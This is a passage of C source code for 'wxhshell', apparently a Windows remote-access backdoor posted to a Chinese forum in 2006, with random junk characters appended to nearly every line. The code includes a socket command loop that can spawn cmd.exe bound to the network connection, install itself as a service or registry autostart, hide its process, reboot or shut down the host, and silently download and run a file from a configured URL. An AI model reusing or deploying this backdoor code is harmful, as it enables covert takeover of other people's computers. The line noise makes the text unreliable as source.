A*+gWn,4Y_  
    switch(cmd[0]) { [6g$;SicT  
  4Lk<5Ho  
  // 帮助 Dl0{pGK~  
  case '?': { Z~94<*LEp  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fNx!'{o"  
    break; ~V?z!3r-)  
  } ]CcRI|g}  
  // 安装 _\k?uUo&,^  
  case 'i': { ;! ?l8R  
    if(Install()) 1@LUxU#Uu$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J"E _i]  
    else ^.@%n1I"5y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MRo_An+  
    break; j`@`M*)GB  
    } q!U$\Q&  
  // 卸载 .UX4p =  
  case 'r': { kUGFg{"  
    if(Uninstall()) GL9'dL|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d#d&CJAfr  
    else lcpiCZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z VdQ$  
    break; gx^!&>eIb#  
    } w]h8KNt  
  // 显示 wxhshell 所在路径 &J9 + 5L8  
  case 'p': { 32aI0CT  
    char svExeFile[MAX_PATH]; Xe: ^<$z  
    strcpy(svExeFile,"\n\r"); !9r%d8!z  
      strcat(svExeFile,ExeFile); abS~'r14  
        send(wsh,svExeFile,strlen(svExeFile),0); q6E 'W" Q  
    break; ,:K{  
    } :'q$emtY  
  // 重启 4/*@cW  
  case 'b': { |%XcI3@*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }JQy&V%  
    if(Boot(REBOOT)) b[:m[^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~-H3]  
    else { ?771e:>S-  
    closesocket(wsh); b=sY%(2s  
    ExitThread(0); r~QE}00@^  
    } HWFTI /]  
    break; *(vh|  
    } '/loJz 1  
  // 关机 862rol  
  case 'd': { ]i,o+xBKH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @C=gMn.E  
    if(Boot(SHUTDOWN)) &k_LK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AH'3 5Kf)  
    else { byt$Wqdl  
    closesocket(wsh); 7J6Z?  
    ExitThread(0); F_w+8)DZ  
    } Bnwq!i!M  
    break; |Axbx?  
    } ~bzac2Rp  
  // 获取shell *m>[\)  
  case 's': { ^gyI-S(;  
    CmdShell(wsh); BaP'y8dVN  
    closesocket(wsh); tG9C(D`G  
    ExitThread(0); &F7_0iA P(  
    break; BL>~~  
  } d+]=l+&  
  // 退出 QH7 GEj]  
  case 'x': { I} Q+{/?/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \AoqOC2u  
    CloseIt(wsh); )J+OyR=  
    break; &'Nzw2  
    } T]/>c  
  // 离开 #k &#d9}  
  case 'q': { :nl,A c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); sEfT#$ a^8  
    closesocket(wsh); Zi\ex\ )5  
    WSACleanup(); Vz-q7*o $S  
    exit(1); csJ)Pt?d  
    break; ~W4SFp  
        } :?ZrD,D  
  } I!kR:Z  
  } Gi@c`lRd1  
Jwj=a1I 53  
  // 提示信息 3gJZlH5IR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bV'r9&[_6  
} tfm3IX  
  } w03Ur4>T  
U6H3T0#  
  return; 3PLA*n+%  
} ,|z zq@fk  
Tz9 (</y  
// shell模块句柄 pJl/d;Cyrb  
int CmdShell(SOCKET sock)  Q3bU"f  
{ WL,2<[)Ew  
STARTUPINFO si; (OwGp3g  
ZeroMemory(&si,sizeof(si)); w<]-~`K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1!U:M8T|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jyyig%  
PROCESS_INFORMATION ProcessInfo; b9T6JS j  
char cmdline[]="cmd"; DYIp2-K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hz<TjWXv'  
  return 0; : #n>Q1}x  
} Tw*p^rU  
*$;Zk!sEF  
// 自身启动模式 %2\Pe 2Z  
int StartFromService(void) K/}x'*=  
{ `Z{s,!z  
typedef struct z_KCG2=5  
{ DMp@B]>  
  DWORD ExitStatus; 3'A0{(b  
  DWORD PebBaseAddress; rp1+K4]P  
  DWORD AffinityMask; >X iT[Ru  
  DWORD BasePriority; 2w+4B4  
  ULONG UniqueProcessId; s?9Y3]&+&M  
  ULONG InheritedFromUniqueProcessId; #k>A,  
}   PROCESS_BASIC_INFORMATION; Bzt:9hr6BO  
qJonzFp7  
PROCNTQSIP NtQueryInformationProcess; \x4:i\Fx@  
DVg$rm`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?Oy0p8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W 9}xfy09  
cud9oJ-=;  
  HANDLE             hProcess; 7D 3-/_v  
  PROCESS_BASIC_INFORMATION pbi; TOa6sB!H  
s!MD8i a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kj4=Q\Rfm  
  if(NULL == hInst ) return 0; 5X5UUdTM  
@y * TVy  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `*kl>}$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H=Cj/jE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N6+^}2' *)  
Y8lZ]IB  
  if (!NtQueryInformationProcess) return 0; SH8zkAA7u}  
8s[1-l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -lv(@7o~  
  if(!hProcess) return 0; $XkO\6kh  
gyh8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V=1zk-XC  
|:2B)X  
  CloseHandle(hProcess); E&@#*~   
<_=O0 t| 6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c1y+k vv  
if(hProcess==NULL) return 0; x7i<dg&  
WMWMb3  
HMODULE hMod; _]D 6m2R  
char procName[255]; .O#7X  
unsigned long cbNeeded; w?N>3`Jnf  
,PJC FQMR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )4:]gx#cr  
<1* \ ~CX  
  CloseHandle(hProcess); M ]O4  
Q uw|KL  
if(strstr(procName,"services")) return 1; // 以服务启动 Vwjic2lGI  
KPjAk  
  return 0; // 注册表启动 /PR 4ILed  
} \>n[x; $  
VTyj<6Y  
// 主模块 31e O2|7  
int StartWxhshell(LPSTR lpCmdLine) ^~bd AO81  
{ A+4Kj~`!  
  SOCKET wsl; vo&h6'i>7  
BOOL val=TRUE; cg9}T[A  
  int port=0; z> DQ  
  struct sockaddr_in door; iAXGf V  
lHTr7uF(  
  if(wscfg.ws_autoins) Install(); oZl%0Uy?9I  
15aPoxo>  
port=atoi(lpCmdLine); 7kT X  
BTG_c_ ?]e  
if(port<=0) port=wscfg.ws_port; Hfo<EB2Y9N  
`f~$h?}3-@  
  WSADATA data; Lz:FR*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %4YSuZg  
Vw`Q:qo0:b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -Xw S?*O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %,ScGQE  
  door.sin_family = AF_INET; u3wd~.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oJ" D5d,  
  door.sin_port = htons(port); %Lh+W<;  
~kDJ-V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =9 ^}>u  
closesocket(wsl); )vVf- zU  
return 1; Acd@BL*  
} Z*h}E  
+qT+iHa|n  
  if(listen(wsl,2) == INVALID_SOCKET) { 8$ #z>  
closesocket(wsl); m!P<# |V  
return 1; @'?gan#(  
} 5a)$:oO!  
  Wxhshell(wsl); se=^K#o  
  WSACleanup(); :h3n[%  
dZb;`DjTH  
return 0; ({!H ()  
j?k|-0  
} 87eH~&<1  
h/8p2Mrqi  
// 以NT服务方式启动 VhAJ1[k4!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pQC|_T#u  
{ K~S*<?  
DWORD   status = 0; nXI8`7D  
  DWORD   specificError = 0xfffffff; c813NHW  
<X1 lq9 lW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _p'@.P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $\~cWpv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w1VYU>  
  serviceStatus.dwWin32ExitCode     = 0; "5sA&^_#_  
  serviceStatus.dwServiceSpecificExitCode = 0; T.-tV[2  
  serviceStatus.dwCheckPoint       = 0; zn_#}}e;G  
  serviceStatus.dwWaitHint       = 0; 7-~)/7L  
~%f$}{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8Djki]  
  if (hServiceStatusHandle==0) return; DQ[7p(  
d&f!\n_~  
status = GetLastError(); 83{P7PBQ;]  
  if (status!=NO_ERROR) -!li,&,A1  
{ >+Iph2]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dn Sb}J  
    serviceStatus.dwCheckPoint       = 0; f\.y z[  
    serviceStatus.dwWaitHint       = 0; cx&\oP  
    serviceStatus.dwWin32ExitCode     = status; n4}e!  
    serviceStatus.dwServiceSpecificExitCode = specificError; twbxi{8e.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z5Tsu1 c  
    return; t+]1D@hv  
  } H=g%>W%3  
`<| <1,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |>m'szca4  
  serviceStatus.dwCheckPoint       = 0; :eJJL,v  
  serviceStatus.dwWaitHint       = 0; [/VpvQ'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X-,oL.:c  
} @7.7+blS"H  
!y'>sAf  
// 处理NT服务事件,比如:启动、停止 Ht\2 IP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "Jg.)1Jw  
{ H270)Cwn+  
switch(fdwControl) k_zn>aR$F  
{ 4gNN "  
case SERVICE_CONTROL_STOP: J]{<Z?%  
  serviceStatus.dwWin32ExitCode = 0; z,2*3Be6V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -o{ x ;:4  
  serviceStatus.dwCheckPoint   = 0; ) jvI Nb  
  serviceStatus.dwWaitHint     = 0; re}PpXRC  
  { r)K5<[\r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [?O4l`  
  } 8"-=+w.CZ  
  return; HIvSpO  
case SERVICE_CONTROL_PAUSE: u U>L (  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p|mFF0SL  
  break; g`fMHU7  
case SERVICE_CONTROL_CONTINUE: i^ |G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3/yt  
  break; dC-~=}HR^  
case SERVICE_CONTROL_INTERROGATE: {x_cgsn  
  break; ',t*:GBZCf  
}; ZZTf/s*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]FIIs58IM  
} ~K<h~TNP  
3;> z %{  
// 标准应用程序主函数 ]j6K3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )cZHBG.0H  
{ .>.GQUr  
#=33TvprR2  
// 获取操作系统版本 x a<KF  
OsIsNt=GetOsVer(); c_M[>#`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); d ePk}Sn  
 (FaYagD  
  // 从命令行安装 bR~(Ry`  
  if(strpbrk(lpCmdLine,"iI")) Install(); WG,1%=M@  
@U1|?~M%s  
  // 下载执行文件 a7F_{Mm  
if(wscfg.ws_downexe) { kD%MFT4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C7*YZe  
  WinExec(wscfg.ws_filenam,SW_HIDE); W;UPA~nT~  
} h$6'9rL&i  
r^<,f[yH  
if(!OsIsNt) { V&vG.HAT  
// 如果时win9x,隐藏进程并且设置为注册表启动 V\{@c%xW  
HideProc(); fR'!p: ~  
StartWxhshell(lpCmdLine); bn8maYUZ  
} |)Dm.)/0)  
else z 5(5\j]  
  if(StartFromService()) "c]9Q%  
  // 以服务方式启动 {k-_+#W"  
  StartServiceCtrlDispatcher(DispatchTable); <#nU 06 fN  
else b$fmU"%&|  
  // 普通方式启动 /HhA2 (g%  
  StartWxhshell(lpCmdLine); fKqr$59>  
pV  u[  
return 0; p5vQ.Ni*\-  
}
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只看该作者 1 发表于: 2006-10-10
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